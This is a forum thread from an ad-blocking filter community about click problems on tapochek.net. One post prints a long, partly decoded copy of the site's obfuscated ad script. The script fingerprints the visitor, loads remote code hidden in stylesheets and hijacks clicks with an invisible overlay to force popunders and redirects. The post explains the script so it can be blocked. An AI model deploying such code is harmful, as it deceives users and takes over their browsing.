tapochek.net

Russian supplemental subscription

Moderator: RU AdList Mods

User avatar
dimisa
RU AdList Author
RU AdList Author
Posts: 9792
Joined: Tue Dec 01, 2015 5:24 pm

Post by dimisa »

Подтверждаю проблему. Но в подписке её не исправить, этот случай - для JS Fixes.
Если дудлы утомили - Google No Doodles
logan344
Postaholic
Postaholic
Posts: 1235
Joined: Sat Dec 02, 2017 11:12 am

Post by logan344 »

dimisa wrote: Wed Dec 20, 2017 11:49 am Подтверждаю проблему. Но в подписке её не исправить, этот случай - для JS Fixes.
Лейн уже проинформирован о проблеме или сообщить еще на грейсфорк?
ublock origin 1.23.0(ruadlist,adguard annoyances/tracking, ublock filters/unbreak,easylist)
User avatar
dimisa
RU AdList Author
RU AdList Author
Posts: 9792
Joined: Tue Dec 01, 2015 5:24 pm

Post by dimisa »

Проинформирован.
Если дудлы утомили - Google No Doodles
User avatar
Lain_13
RU AdList Author
RU AdList Author
Posts: 1041
Joined: Fri Aug 20, 2010 11:20 am

Post by Lain_13 »

Добавил скрипт в JS Fixes, который ловит и ломает ту погань, которую они туда добавили.
logan344
Postaholic
Postaholic
Posts: 1235
Joined: Sat Dec 02, 2017 11:12 am

Post by logan344 »

Lain_13 wrote: Wed Dec 20, 2017 1:37 pm Добавил скрипт в JS Fixes, который ловит и ломает ту погань, которую они туда добавили.
Можно узнать, пожалуйста. Что они такие с версткой сделали. Вроде рекламы нету, а функционал поломан стал.
ublock origin 1.23.0(ruadlist,adguard annoyances/tracking, ublock filters/unbreak,easylist)
User avatar
Lain_13
RU AdList Author
RU AdList Author
Posts: 1041
Joined: Fri Aug 20, 2010 11:20 am

Post by Lain_13 »

Они добавили чудесный скрипт, который, помимо всего прочего, цепляет событие 'mouseup' на document.body, которое останавливает дальнейшее продвижение события щелчка куда-либо и пытается вывести невидимую ссылку поверх всей страницы. ABP эту ссылку скрыть может, но с событием уже ничего не поделать — оно уже там и останавливает все клики.

Частично раскодированный код скрипта:

Code: Select all

'use strict';
var B9D = function () {
    function F(l, P) {
        var K = [];
        var f = true;
        var D = false;
        var G = undefined;
        try {
            for (var M = l[i9D.H9D](), u; !(f = (u = M.next()).k9D); f = true) {
                K.push(u.value);
                if (P && K.length === P)
                    break;
            }
        } catch (O) {
            var g = function (Y) {
                D = Y;
            };
            var e = function (Y) {
                G = Y;
            };
            g(true);
            e(O);
        } finally {
            try {
                if (!f && M.return)
                    M.return();
            } finally {
                if (D)
                    throw G;
            }
        }
        return K;
    }
    return function (Y, O) {
        if (Array.isArray(Y)) {
            return Y;
        } else if (i9D.H9D in Object(Y)) {
            return F(Y, O);
        } else {
            throw new TypeError('Invalid attempt to destructure non-iterable instance');
        }
    };
}();
(function (H, f9, u9) {
    try {
        var W5 = function W5() {
            if (t5.length > 0) {
                return atob(t5[0].split('').reverse().join(''));
            }
            var E = E8();
            var Q = A8(E);
            var q = z8();
            var K = Q8();
            var f = U5(E, Q);
            var D = Y8(q);
            var G = O8(K);
            var M = P8();
            var u = X5(G, D, f, 0, 0);
            var g = {};
            if (q0 === 1) {
                g = {};
            } else if (q0 === 4) {
                g = {};
            }
            u = Object.prototype.hasOwnProperty.call(g, u) ? g[u] : u;
            var e = void 0;
            if (q0 === 1) {
                e = 'wmoaz2g6axi0p';
            } else if (q0 === 4) {
                e = '5901cf07608da';
            }
            var v = {};
            var o = Object.prototype.hasOwnProperty.call(v, u) ? v[u] : e;
            var F = u + o;
            return w5(F).substr(0, 20 - b5(G)) + '.' + M;
        };
        var k3 = function k3(Y) {
            if (!document.body) {
                var O = setTimeout(function l() {
                    if (!document.body) {
                        O = setTimeout(l, 20);
                        return;
                    }
                    Y();
                    clearTimeout(O);
                }, 20);
            } else {
                Y();
            }
        };
        var c5 = function c5(l, P) {
            var D = document.createElement('iframe');
            D.width = '1px';
            D.height = '1px';
            D.src = E5();
            k3(function () {
                document.body.appendChild(D);
            });
            setTimeout(function () {
                if (D.style.display == 'none' || D.style.display == 'hidden' || D.style.visibility == 'hidden' || D.offsetHeight == 0) {
                    D.parentNode.removeChild(D);
                    l();
                } else {
                    D.parentNode.removeChild(D);
                    P();
                }
            }, 400);
        };
        var m5 = function m5(l) {
            var E = false;
            var Q = setInterval(function () {
                if (!E) {
                    E = true;
                    l();
                    clearInterval(Q);
                }
            }, 300);
            return Q;
        };
        var X5 = function X5(Y, O, l, P, E) {
            var Q = G3(Y, 2) + G3(O, 2) + G3(l, 2) + G3(P, 2) + G3(E, 2);
            return Q;
        };
        var G3 = function G3(O, l) {
            var P = O + '';
            while (P.length < l) {
                P = '0' + P;
            }
            return P;
        };
        var U5 = function U5(O, l) {
            if (O == 'Windows') {
                if (l == '10') {
                    P = 2;
                } else if (l == '7' || l == '8') {
                    P = 3;
                }
            }
            return 1;
        };
        var Y8 = function Y8(O) {
            if (O == '1920') {
                Q = 2;
            } else if (O == '1366') {
                Q = 3;
            }
            return 1;
        };
        var O8 = function O8(O) {
            if (O <= -8) {
                E = 4;
            } else if (O <= -7) {
                E = 5;
            } else if (O <= -6) {
                E = 6;
            } else if (O <= -5) {
                E = 7;
            } else if (O <= -4) {
                E = 8;
            } else if (O <= -1) {
                E = 10;
            } else if (O <= 0) {
                E = 12;
            } else if (O <= 1) {
                E = 13;
            } else if (O <= 2) {
                E = 14;
            } else if (O <= 3) {
                E = 15;
            } else if (O <= 4) {
                E = 16;
            } else if (O <= 5) {
                E = 17;
            } else if (O <= 6) {
                E = 18;
            } else if (O <= 7) {
                E = 19;
            } else if (O <= 8) {
                E = 20;
            } else if (O <= 9) {
                E = 21;
            } else {
                E = 23;
            }
            return 4;
        };
        var P8 = () => 'com';
        var E8 = function E8() {
            var j = navigator.userAgent;
            var v = navigator.platform;
            var o = [
                'Macintosh',
                'MacIntel',
                'MacPPC',
                'Mac68K'
            ];
            var F = [
                'Win32',
                'Win64',
                'Windows',
                'WinCE'
            ];
            var W = [
                'iPhone',
                'iPad',
                'iPod'
            ];
            if (o.indexOf(v) !== -1) {
                x = 'MacOS';
            } else if (W.indexOf(v) !== -1) {
                x = 'iOS';
            } else if (F.indexOf(v) !== -1) {
                x = 'Windows';
            } else if (/Android/.test(j)) {
                x = 'Android';
            } else if (!null && /Linux/.test(v)) {
                x = 'Linux';
            }
            return null;
        };
        var A8 = function A8(O) {
            var P = navigator.userAgent;
            if (O === 'Windows') {
                if (/(Windows 10.0|Windows NT 10.0)/.test(P)) {
                    l = '10';
                }
                if (/(Windows 8.1|Windows NT 6.3)/.test(P)) {
                    l = '8';
                }
                if (/(Windows 8|Windows NT 6.2)/.test(P)) {
                    l = '8';
                }
                if (/(Windows 7|Windows NT 6.1)/.test(P)) {
                    l = '7';
                }
            }
            return '';
        };
        var z8 = function z8() {
            var Y = screen.width;
            return Y;
        };
        var Q8 = function Q8() {
            var Y = new Date();
            var O = -Y.getTimezoneOffset() / 60;
            return O;
        };
        var E5 = function E5() {
            var l = document.querySelector('script[src*="apu.php"]');
            if (l === null) {
                return;
            }
            return H.L9D ? l.src.replace(/apu.php/g, 'afu.php') : l.src;
        };
        var w8 = function w8(O) {
            try {
                var l;
                var P = false;
                if (document.styleSheets) {
                    for (var E in document.styleSheets) {
                        if (document.styleSheets[E].href === O) {
                            l = document.styleSheets[E].cssRules[3].style.content;
                            break;
                        }
                    }
                }
                if (!l) {
                    return false;
                }
                l = l.substring(1, l.length - 1);
                var q = atob(l);
                q = q.split(',');
                for (var K = 0, f = q.length; K < f; K++) {
                    if (q[K] === location.host) {
                        P = true;
                        break;
                    }
                }
                return P;
            } catch (Y) {
            }
        };
        var q8 = function q8(O) {
            try {
                var v;
                if (document.styleSheets) {
                    for (var o in document.styleSheets) {
                        if (document.styleSheets[o].href === O) {
                            v = document.styleSheets[o].cssRules[2].style.content;
                            break;
                        }
                    }
                }
                if (!v) {
                    v = '"KGZ1bmN0aW9uKCkge30pKCk7"';
                }
                v = v.substring(1, v.length - 1);
                var x = document.createElement('script');
                x.type = 'text/javascript';
                var a = document.createTextNode(atob(v));
                x.appendChild(a);
                document.body.appendChild(x);
                return function () {
                    x.parentNode.removeChild(x);
                };
            } catch (Y) {
            }
        };
        var P3 = (Y, O) => Math.floor(Math.random() * (O - Y) + Y);
        var b5 = function b5(l) {
            if (l.toString().length == 1) {
                var E = parseInt(l);
                return E;
            } else {
                l.toString().split('').forEach(function (Y) {
                    var O = parseInt(Y);
                    return P += O;
                });
                return b5(0);
            }
        };
        var y9 = function y9(O, l, P) {
            P = P || {};
            var D = P.T7D;
            if (typeof D == 'number' && D) {
                var G = new Date();
                G.setTime(G.getTime() + D * 1000);
                D = P.T7D = G;
            }
            if (D && D.toUTCString) {
                P.T7D = D.toUTCString();
            }
            l = encodeURIComponent(l);
            var M = O + '=' + l;
            for (var u in P) {
                M += '; ' + u;
                var g = P[u];
                if (g !== true) {
                    M += '=' + g;
                }
            }
            document.cookie = M;
        };
        var D8 = function D8(O, l) {
            localStorage[O] = l;
            return l;
        };
        var z5 = Y => localStorage[Y];
        var m9 = function m9(Y) {
            var E = document.cookie.match(new RegExp('(?:^|; )' + Y.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + '=([^;]*)'));
            return E ? decodeURIComponent(E[1]) : undefined;
        };
        var p5 = function p5(Y, O) {
            if (!Y) {
                return null;
            }
            if (Y.tagName === O) {
                return Y;
            }
            return p5(Y.parentNode, O);
        };
        var t0 = function t0() {
            r3(D0, function (Y) {
                if (Y.parentNode) {
                    Y.parentNode.removeChild(Y);
                }
            });
            D0 = r3(g8('object, iframe, embed, video, audio'), function (l) {
                var E = Z9.some(Y => l.offsetWidth + 'x' + l.offsetHeight === Y);
                if (!E) {
                    var Q = u8(l);
                    return l7({
                        left: Q.left + 'px',
                        top: Q.top + 'px',
                        height: l.offsetHeight + 'px',
                        width: l.offsetWidth + 'px',
                        position: 'absolute'
                    });
                }
                return [];
            });
            D5 = setTimeout(t0, 750);
        };
        var K8 = function K8() {
            if (D0.length === 0) {
                return;
            }
            r3(D0, function (Y) {
                if (Y.parentNode) {
                    Y.parentNode.removeChild(Y);
                }
            });
            if (D5) {
                clearTimeout(D5);
            }
        };
        var g8 = function g8(O) {
            var l = [];
            try {
                l = r3(document.querySelectorAll(O), Y => Y);
            } catch (Y) {
            }
            return l;
        };
        var r3 = function r3(Y, O) {
            var l = [];
            var E = void 0;
            while (0 < Y.length) {
                E = O(Y[0], 0, Y);
                if (E !== undefined) {
                    l.push(E);
                }
                P += 1;
            }
            return l;
        };
        var u8 = function u8(Y) {
            var O = Y.getBoundingClientRect();
            return {
                top: Math.round(O.top + ((pageYOffset || document.documentElement.scrollTop || document.body.scrollTop) - (document.documentElement.clientTop || document.body.clientTop || 0))),
                left: Math.round(O.left + ((pageXOffset || document.documentElement.scrollLeft || document.body.scrollLeft) - (document.documentElement.clientLeft || document.body.clientLeft || 0)))
            };
        };
        var L3 = function L3(Y) {
            var K = '';
            var f = '0123456789abcdef';
            for (var D = 0; D <= 3; D++) {
                K += f.charAt(Y >> D * 8 + 4 & 15) + f.charAt(Y >> D * 8 & 15);
            }
            return K;
        };
        var G8 = function G8(O) {
            var P = (O.length + 8 >> 6) + 1;
            var E = new Array(P * 16);
            for (var Q = 0; Q < P * 16; Q++) {
                E[Q] = 0;
            }
            for (Q = 0; Q < O.length; Q++) {
                E[Q >> 2] |= O.charCodeAt(Q) << Q % 4 * 8;
            }
            E[Q >> 2] |= 128 << Q % 4 * 8;
            E[P * 16 - 2] = O.length * 8;
            return E;
        };
        var E3 = function E3(Y, O) {
            var l = (Y & 65535) + (O & 65535);
            var P = (Y >> 16) + (O >> 16) + (l >> 16);
            return P << 16 | l & 65535;
        };
        var e8 = (Y, O) => Y << O | Y >>> 32 - O;
        var W3 = (Y, O, l, P, E, Q) => E3(e8(E3(E3(O, Y), E3(P, Q)), E), l);
        var i = (Y, O, l, P, E, Q, q) => W3(O & l | ~O & P, Y, O, E, Q, q);
        var R = (Y, O, l, P, E, Q, q) => W3(O & P | l & ~P, Y, O, E, Q, q);
        var B = (Y, O, l, P, E, Q, q) => W3(Y ^ O ^ P, Y, O, E, Q, q);
        var J = (Y, O, l, P, E, Q, q) => W3(l ^ (O | ~P), Y, O, E, Q, q);
        var w5 = function w5(Y) {
            var t = G8(Y);
            var b = 1732584193;
            var z = -271733879;
            var p = -1732584194;
            var A = 271733878;
            for (var w = 0; w < t.length; w += 16) {
                var T0 = b;
                var k0 = z;
                var d3 = p;
                var Y0 = A;
                b = i(b, z, p, A, t[w + 0], 7, -680876936);
                A = i(A, b, z, p, t[w + 1], 12, -389564586);
                p = i(p, A, b, z, t[w + 2], 17, 606105819);
                z = i(z, p, A, b, t[w + 3], 22, -1044525330);
                b = i(b, z, p, A, t[w + 4], 7, -176418897);
                A = i(A, b, z, p, t[w + 5], 12, 1200080426);
                p = i(p, A, b, z, t[w + 6], 17, -1473231341);
                z = i(z, p, A, b, t[w + 7], 22, -45705983);
                b = i(b, z, p, A, t[w + 8], 7, 1770035416);
                A = i(A, b, z, p, t[w + 9], 12, -1958414417);
                p = i(p, A, b, z, t[w + 10], 17, -42063);
                z = i(z, p, A, b, t[w + 11], 22, -1990404162);
                b = i(b, z, p, A, t[w + 12], 7, 1804603682);
                A = i(A, b, z, p, t[w + 13], 12, -40341101);
                p = i(p, A, b, z, t[w + 14], 17, -1502002290);
                z = i(z, p, A, b, t[w + 15], 22, 1236535329);
                b = R(b, z, p, A, t[w + 1], 5, -165796510);
                A = R(A, b, z, p, t[w + 6], 9, -1069501632);
                p = R(p, A, b, z, t[w + 11], 14, 643717713);
                z = R(z, p, A, b, t[w + 0], 20, -373897302);
                b = R(b, z, p, A, t[w + 5], 5, -701558691);
                A = R(A, b, z, p, t[w + 10], 9, 38016083);
                p = R(p, A, b, z, t[w + 15], 14, -660478335);
                z = R(z, p, A, b, t[w + 4], 20, -405537848);
                b = R(b, z, p, A, t[w + 9], 5, 568446438);
                A = R(A, b, z, p, t[w + 14], 9, -1019803690);
                p = R(p, A, b, z, t[w + 3], 14, -187363961);
                z = R(z, p, A, b, t[w + 8], 20, 1163531501);
                b = R(b, z, p, A, t[w + 13], 5, -1444681467);
                A = R(A, b, z, p, t[w + 2], 9, -51403784);
                p = R(p, A, b, z, t[w + 7], 14, 1735328473);
                z = R(z, p, A, b, t[w + 12], 20, -1926607734);
                b = B(b, z, p, A, t[w + 5], 4, -378558);
                A = B(A, b, z, p, t[w + 8], 11, -2022574463);
                p = B(p, A, b, z, t[w + 11], 16, 1839030562);
                z = B(z, p, A, b, t[w + 14], 23, -35309556);
                b = B(b, z, p, A, t[w + 1], 4, -1530992060);
                A = B(A, b, z, p, t[w + 4], 11, 1272893353);
                p = B(p, A, b, z, t[w + 7], 16, -155497632);
                z = B(z, p, A, b, t[w + 10], 23, -1094730640);
                b = B(b, z, p, A, t[w + 13], 4, 681279174);
                A = B(A, b, z, p, t[w + 0], 11, -358537222);
                p = B(p, A, b, z, t[w + 3], 16, -722521979);
                z = B(z, p, A, b, t[w + 6], 23, 76029189);
                b = B(b, z, p, A, t[w + 9], 4, -640364487);
                A = B(A, b, z, p, t[w + 12], 11, -421815835);
                p = B(p, A, b, z, t[w + 15], 16, 530742520);
                z = B(z, p, A, b, t[w + 2], 23, -995338651);
                b = J(b, z, p, A, t[w + 0], 6, -198630844);
                A = J(A, b, z, p, t[w + 7], 10, 1126891415);
                p = J(p, A, b, z, t[w + 14], 15, -1416354905);
                z = J(z, p, A, b, t[w + 5], 21, -57434055);
                b = J(b, z, p, A, t[w + 12], 6, 1700485571);
                A = J(A, b, z, p, t[w + 3], 10, -1894986606);
                p = J(p, A, b, z, t[w + 10], 15, -1051523);
                z = J(z, p, A, b, t[w + 1], 21, -2054922799);
                b = J(b, z, p, A, t[w + 8], 6, 1873313359);
                A = J(A, b, z, p, t[w + 15], 10, -30611744);
                p = J(p, A, b, z, t[w + 6], 15, -1560198380);
                z = J(z, p, A, b, t[w + 13], 21, 1309151649);
                b = J(b, z, p, A, t[w + 4], 6, -145523070);
                A = J(A, b, z, p, t[w + 11], 10, -1120210379);
                p = J(p, A, b, z, t[w + 2], 15, 718787259);
                z = J(z, p, A, b, t[w + 9], 21, -343485551);
                b = E3(b, T0);
                z = E3(z, k0);
                p = E3(p, d3);
                A = E3(A, Y0);
            }
            return L3(b) + L3(z) + L3(p) + L3(A);
        };
        var Z9 = [
            '468x60',
            '234x60',
            '120x240',
            '728x90',
            '300x250',
            '240x400'
        ];
        var q0 = H.A7D;
        var t5 = H.q7D;
        var D5 = void 0;
        var D0 = [];
        var n8;
        var h0;
        var K0;
        var M3 = M3 || {};
        M3.R9D = H.C7D;
        M3.I7D = 'uxngHWCMgWBNwpQg';
        var O7 = 'mouseup';
        window.zfgaabversion = '3.5.5 - ' + (t5.length > 0 ? 'single domain' : 'domain by segment');
        K0 = W5();
        n8 = '//' + K0 + '/' + M3.R9D + '/';
        h0 = '//' + K0 + '/' + M3.R9D;
        if (H.L9D !== undefined && H.L9D.length > 0) {
            var g0;
            k3(function () {
                m5(function () {
                    function K(O, l) {
                        function P(Y) {
                            if (Y.classList.contains(H.L9D)) {
                                Y.classList.remove(H.L9D);
                                Y.classList.add(w5(M3.I7D + Date.now()));
                            }
                        }
                        for (var E = h, Q = O.length; E < Q; E++) {
                            if (l) {
                                var q = function () {
                                    O[E].href = h0 + j5;
                                };
                                q();
                                P(O[E]);
                                continue;
                            }
                            O[E].href = E5();
                        }
                    }
                    var f = function () {
                        g0 = window[n4D].querySelectorAll(p3 + H.L9D) ? window[n4D].querySelectorAll(p3 + H.L9D) : f3;
                    };
                    f();
                    if (g0 == f3) {
                        return;
                    }
                    c5(function () {
                        K(g0, true);
                    }, function () {
                        K(g0);
                    });
                });
            });
            return;
        }
        var o8 = function () {
            var q = false;
            return function () {
                if (q) {
                    return;
                }
                q = true;
                var Q = document.createElement('script');
                Q.src = n8;
                k3(function () {
                    document.body.appendChild(Q);
                });
                Q.onload = function () {
                    Q.parentNode.removeChild(Q);
                    if (window.zfgloadedpopup !== true) {
                        s8(Q);
                    }
                };
                Q.onerror = function () {
                    s8(Q);
                };
            };
        }();
        var s8 = (() => function j(P) {
            if (false) {
                return;
            }
            if (P.parentNode) {
                P.parentNode.removeChild(P);
            }
            var g = document.createElement('link');
            var e = document.getElementsByTagName('head')[0];
            g.id = K0 + 'css';
            g.rel = 'stylesheet';
            g.type = 'text/css';
            g.crossOrigin = 'anonymous';
            g.href = h0 + '.css';
            e && e.insertBefore(g, e.firstChild);
            g.onload = function () {
                var O = w8(g.href);
                if (O) {
                    h5('tabunder');
                    g.parentNode.removeChild(g);
                    return;
                }
                var l = q8(g.href);
                setTimeout(function () {
                    if (typeof l === 'function') {
                        l();
                    }
                    g.parentNode.removeChild(g);
                }, 1000);
                if (window.zfgloadedpopup !== true) {
                    h5('tabunder');
                }
            };
            g.onerror = function () {
                h5('tabunder');
                g.parentNode.removeChild(g);
            };
        })();
        var h5 = function () {
            var f5 = false;
            return function (U3) {
                function T8(Y) {
                    var O = [];
                    while (Y.length > 0) {
                        O.push(Y.splice(P3(0, Y.length), 1).toString());
                    }
                    return O;
                }
                function O0() {
                    return z5(W0).split('|').map(Y => parseInt(Y, 10));
                }
                function l0(Y, O, l) {
                    D8(W0, Y + '|' + O + '|' + l);
                }
                if (f5) {
                    return;
                }
                f5 = true;
                var P0 = new Date().getTime();
                var E0 = typeof H.P7D === 'number' ? H.P7D : 3;
                var b0 = typeof H.e9D === 'number' ? H.e9D : 1;
                var y0 = typeof H.S9D === 'number' ? H.S9D : 30;
                var c0 = void 0;
                b0 = Y * O * l * 60;
                y0 *= 1000;
                if (!z5('___goo')) {
                    l0(P0, 0, 0);
                    t0();
                } else {
                    var X8 = O0();
                    var g5 = B9D(X8, 2);
                    var d8 = g5[0];
                    var m0 = g5[1];
                    if (b0 === 0) {
                        l0(0, m0, 0);
                    } else if (P0 > d8 + b0) {
                        l0(P0, m0, 0);
                    } else {
                    }
                    var Y9 = O0();
                    var l9 = B9D(Y9, 3);
                    var P9 = l9[2];
                    if ((E0 === 0 || P9 < E0) && P0 > m0 + y0) {
                        t0();
                    }
                }
                var N = document.createElement('a');
                N.href = h0 + '.html';
                N.rel = 'nofollow norefferer noopener';
                var b9 = P3(9999999, 99999999);
                var A9 = P3(98, 101);
                var p9 = P3(98, 101);
                var Q9 = P3(0, 4);
                var t9 = P3(0, 4);
                var q9 = P3(0, 4);
                var h9 = P3(0, 4);
                var K9 = [
                    'position:fixed;',
                    'width:' + A9 + '%;',
                    'height:' + p9 + '%;',
                    'top:' + Q9 + 'px;',
                    'left:' + q9 + 'px;',
                    'right:' + h9 + 'px;',
                    'bottom:' + t9 + 'px;',
                    'z-index:' + b9 + ';'
                ];
                document.addEventListener('mousedown', function (O) {
                    var l = new Date().getTime();
                    var P = O0();
                    var E = B9D(P, 3);
                    var Q = E[1];
                    var q = E[2];
                    if (l <= Q + y0) {
                        return;
                    }
                    if (q >= E0 && E0 !== 0) {
                        return;
                    }
                    var K = p5(O.target, 'A');
                    if (K) {
                        c0 = K.href;
                    }
                    O.preventDefault();
                    O.stopPropagation();
                    K8();
                    k3(() => document.body.appendChild(N));
                    N.style.cssText += T8(K9).join('');
                }, true);
                N.addEventListener(O7, function (j) {
                    var X = new Date().getTime();
                    var H0 = O0();
                    var S3 = B9D(H0, 3);
                    var i0 = S3[0];
                    var m3 = S3[1];
                    var Z3 = S3[2];
                    var r = void 0;
                    j.preventDefault();
                    j.stopPropagation();
                    j.stopImmediatePropagation();
                    m3 = X;
                    Z3 += 1;
                    l0(i0, m3, Z3);
                    if (U3 !== undefined && U3 === 'tabunder') {
                        var X3 = function X3(O) {
                            var f = r.document.getElementsByTagName('head')[0];
                            if (O) {
                                var M = r.document.createElement('meta');
                                M.httpEquiv = 'refresh';
                                M.content = '0;url=' + N.href + '?q';
                                f.appendChild(M);
                                if (navigator.userAgent.toLowerCase().indexOf('firefox') > -1) {
                                    var n = r.document.createElement('meta');
                                    n.target = '_top';
                                    f.appendChild(n);
                                    r.location.href = N.href + '?q';
                                }
                            }
                        };
                        r = open('');
                        if (c0 !== undefined) {
                            r.location = c0;
                        } else {
                            r.location = location;
                        }
                        var J0 = /Edge/.test(navigator.userAgent);
                        if (H.m7D === true && !J0) {
                            X3(H.m7D);
                        } else {
                            location = N.href + '?q';
                        }
                        r.opener = null;
                        N.parentNode.removeChild(N);
                        return;
                    }
                    r = open('/');
                    r.document.write('<html><head><script>window.opener = null; setTimeout(function(){ window.location.replace("' + N.href + '?q");}, 300);' + '</script></head><body></body></html>');
                    N.parentNode.removeChild(N);
                }, true);
            };
        }();
        var l7 = function () {
            var q3 = document.createElement('div');
            q3.style.zIndex = 999999;
            q3.style.backgroundImage = 'url(data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)';
            return function (O) {
                var l = q3.cloneNode(false);
                for (var P in O) {
                    if (Object.prototype.hasOwnProperty.call(O, P)) {
                        l.style[P] = O[P];
                    }
                }
                document.body.appendChild(l);
                return l;
            };
        }();
        window[f9] = o8;
        window[u9] = function () {
            if (window.zfgloadedpopup !== true) {
                o8();
            }
        };
    } catch (Y) {
    }
}({
    A7D: 4,
    C7D: 1500560,
    P7D: 3,
    e9D: 1,
    S9D: 30,
    q7D: [],
    L9D: '',
    m7D: true
}, '_dcebo', '_nkcdhms'));
Jender
New Member
New Member
Posts: 4
Joined: Tue Dec 19, 2017 10:30 pm

Post by Jender »

ведь сайт без адблока хорошо работает значит это вы чтото добавили. исправьте пожалуйста. приходится выключать адблок чтобы пользоваться сайтом. с адблоком им пользоваться невозможно
User avatar
dimisa
RU AdList Author
RU AdList Author
Posts: 9792
Joined: Tue Dec 01, 2015 5:24 pm

Post by dimisa »

Используйте пожалуйста RU AdList JS Fixes.
Если дудлы утомили - Google No Doodles
Jender
New Member
New Member
Posts: 4
Joined: Tue Dec 19, 2017 10:30 pm

Post by Jender »

без этого сайт будет всегда сломан адблоком?
установил теперь всё работает. и куда оно установилось? нигде не вижу
User avatar
Lain_13
RU AdList Author
RU AdList Author
Posts: 1041
Joined: Fri Aug 20, 2010 11:20 am

Post by Lain_13 »

На счёт первого пока не скажу. Я так понял оно проблемы и без адблока создаёт некоторым. Может настроят менее наглую версию.
На счёт второго — см. в Tampermonkey / Greasemonkey / какое там у тебя расширение для пользовательских скриптов.
User avatar
dimisa
RU AdList Author
RU AdList Author
Posts: 9792
Joined: Tue Dec 01, 2015 5:24 pm

Post by dimisa »

Чтобы эта штука не грузилась, необходимо отключить блокировку некоторых гадких сторонних скриптов и тогда там будет по-меньшей мере редирект, то есть нормально пользоваться сайтом будет затруднительно. Это тоже самое, что тупо отключить адблок. Убрал пока одно из правил скрытия, дабы можно было авторизироваться. Но без JS Fixes блокировка выделения от этого не пропадёт.
Если дудлы утомили - Google No Doodles
logan344
Postaholic
Postaholic
Posts: 1235
Joined: Sat Dec 02, 2017 11:12 am

Post by logan344 »

А что насчет 24video. Когда правки преролов будут в js fix?
ublock origin 1.23.0(ruadlist,adguard annoyances/tracking, ublock filters/unbreak,easylist)
User avatar
dimisa
RU AdList Author
RU AdList Author
Posts: 9792
Joined: Tue Dec 01, 2015 5:24 pm

Post by dimisa »

В ближайшее время. Там целая очередь правок. Пока прероллы блокируются в подписке, как минимум сутки. Но есть сообщения, что в определённых случаях эти правила ломают картинку основного видео. У меня такое не повторяется, а вот Лэйн зафиксировал.
Если дудлы утомили - Google No Doodles
logan344
Postaholic
Postaholic
Posts: 1235
Joined: Sat Dec 02, 2017 11:12 am

Post by logan344 »

Внизу под лентой новостей появилась надпись загрузка. Скройте ее, пожалуйста.
ublock origin 1.23.0(ruadlist,adguard annoyances/tracking, ublock filters/unbreak,easylist)
User avatar
dimisa
RU AdList Author
RU AdList Author
Posts: 9792
Joined: Tue Dec 01, 2015 5:24 pm

Post by dimisa »

logan344 wrote: Sat Mar 24, 2018 9:17 am Внизу под лентой новостей появилась надпись загрузка. Скройте ее, пожалуйста.
Можно скрин и ссылку, где такое наблюдается?
Если дудлы утомили - Google No Doodles
logan344
Postaholic
Postaholic
Posts: 1235
Joined: Sat Dec 02, 2017 11:12 am

Post by logan344 »

http://tapochek.net/index.php
Spoiler
Image
ublock origin 1.23.0(ruadlist,adguard annoyances/tracking, ublock filters/unbreak,easylist)
User avatar
dimisa
RU AdList Author
RU AdList Author
Posts: 9792
Joined: Tue Dec 01, 2015 5:24 pm

Post by dimisa »

Это элемент при исправных средствах блокировки не может отображаться, ибо подпадает сразу под 3 (!) селектора. Переустановите uBO и всё связанное с JS Fixes.
Если дудлы утомили - Google No Doodles
logan344
Postaholic
Postaholic
Posts: 1235
Joined: Sat Dec 02, 2017 11:12 am

Post by logan344 »

Он рандомно стал появляться. Вот сейчас снова нету.
ublock origin 1.23.0(ruadlist,adguard annoyances/tracking, ublock filters/unbreak,easylist)
User avatar
dimisa
RU AdList Author
RU AdList Author
Posts: 9792
Joined: Tue Dec 01, 2015 5:24 pm

Post by dimisa »

Он не может там рандомно появляться и присутствует всегда. А вот средства блокировки глючить могут.
Если дудлы утомили - Google No Doodles
logan344
Postaholic
Postaholic
Posts: 1235
Joined: Sat Dec 02, 2017 11:12 am

Post by logan344 »

Вот эта штука снова появляется. Переустанавливать юблок и тампермонки пробывал, но потом на следующий день или через пару часов она снова появляется.

(chrome 64.0.3282.140)
ublock origin 1.15.24
Spoiler
Image
ublock origin 1.23.0(ruadlist,adguard annoyances/tracking, ublock filters/unbreak,easylist)
User avatar
dimisa
RU AdList Author
RU AdList Author
Posts: 9792
Joined: Tue Dec 01, 2015 5:24 pm

Post by dimisa »

Какой-то глюк. Возможно, расширения конфликтуют. В любом случае, в подписке это не поправить.
Если дудлы утомили - Google No Doodles
logan344
Postaholic
Postaholic
Posts: 1235
Joined: Sat Dec 02, 2017 11:12 am

Post by logan344 »

Я заметил, что как только вы в комитах какую-либо правку для какого-либо сайта делаете, на тапочках появляется проблема выше и нужно обновлять подписку, тогда она исчезает.
ublock origin 1.23.0(ruadlist,adguard annoyances/tracking, ublock filters/unbreak,easylist)
User avatar
dimisa
RU AdList Author
RU AdList Author
Posts: 9792
Joined: Tue Dec 01, 2015 5:24 pm

Post by dimisa »

Сомневаюсь, что тут есть какая-то связь. Коммиты я делаю постоянно.
Если дудлы утомили - Google No Doodles
logan344
Postaholic
Postaholic
Posts: 1235
Joined: Sat Dec 02, 2017 11:12 am

Post by logan344 »

На тапочках на главной странице если в бегущей строке новости в сети нажать на новость, она сначала блокируется js фиксом. Потом снова на нее нажимаешь она открывается, после закрытия новости срабатывает первый клик(который был заблочен) и она снова открывается.
ublock origin 1.23.0(ruadlist,adguard annoyances/tracking, ublock filters/unbreak,easylist)
User avatar
dimisa
RU AdList Author
RU AdList Author
Posts: 9792
Joined: Tue Dec 01, 2015 5:24 pm

Post by dimisa »

Первый клик на тапочках и русторке всегда холостой, ибо он в оригинале не открывает что-либо, а активирует попап/редирект. Что за бегущая строка, можно скрин?
Если дудлы утомили - Google No Doodles
logan344
Postaholic
Postaholic
Posts: 1235
Joined: Sat Dec 02, 2017 11:12 am

Post by logan344 »

Да, я знаю что первый клик холостой. Но я говорю о том, что сначала идет первый холостой клик потом еще раз жмешь новость открывается, после ее прочтения закрываешь с ней вкладку и она снова открывается как будто отрабатывается самый первый клик.
Spoiler
Image
ublock origin 1.23.0(ruadlist,adguard annoyances/tracking, ublock filters/unbreak,easylist)
User avatar
dimisa
RU AdList Author
RU AdList Author
Posts: 9792
Joined: Tue Dec 01, 2015 5:24 pm

Post by dimisa »

Видимо, для этого нужна авторизация. Чуть позже напишу об этой проблеме Лэйну.
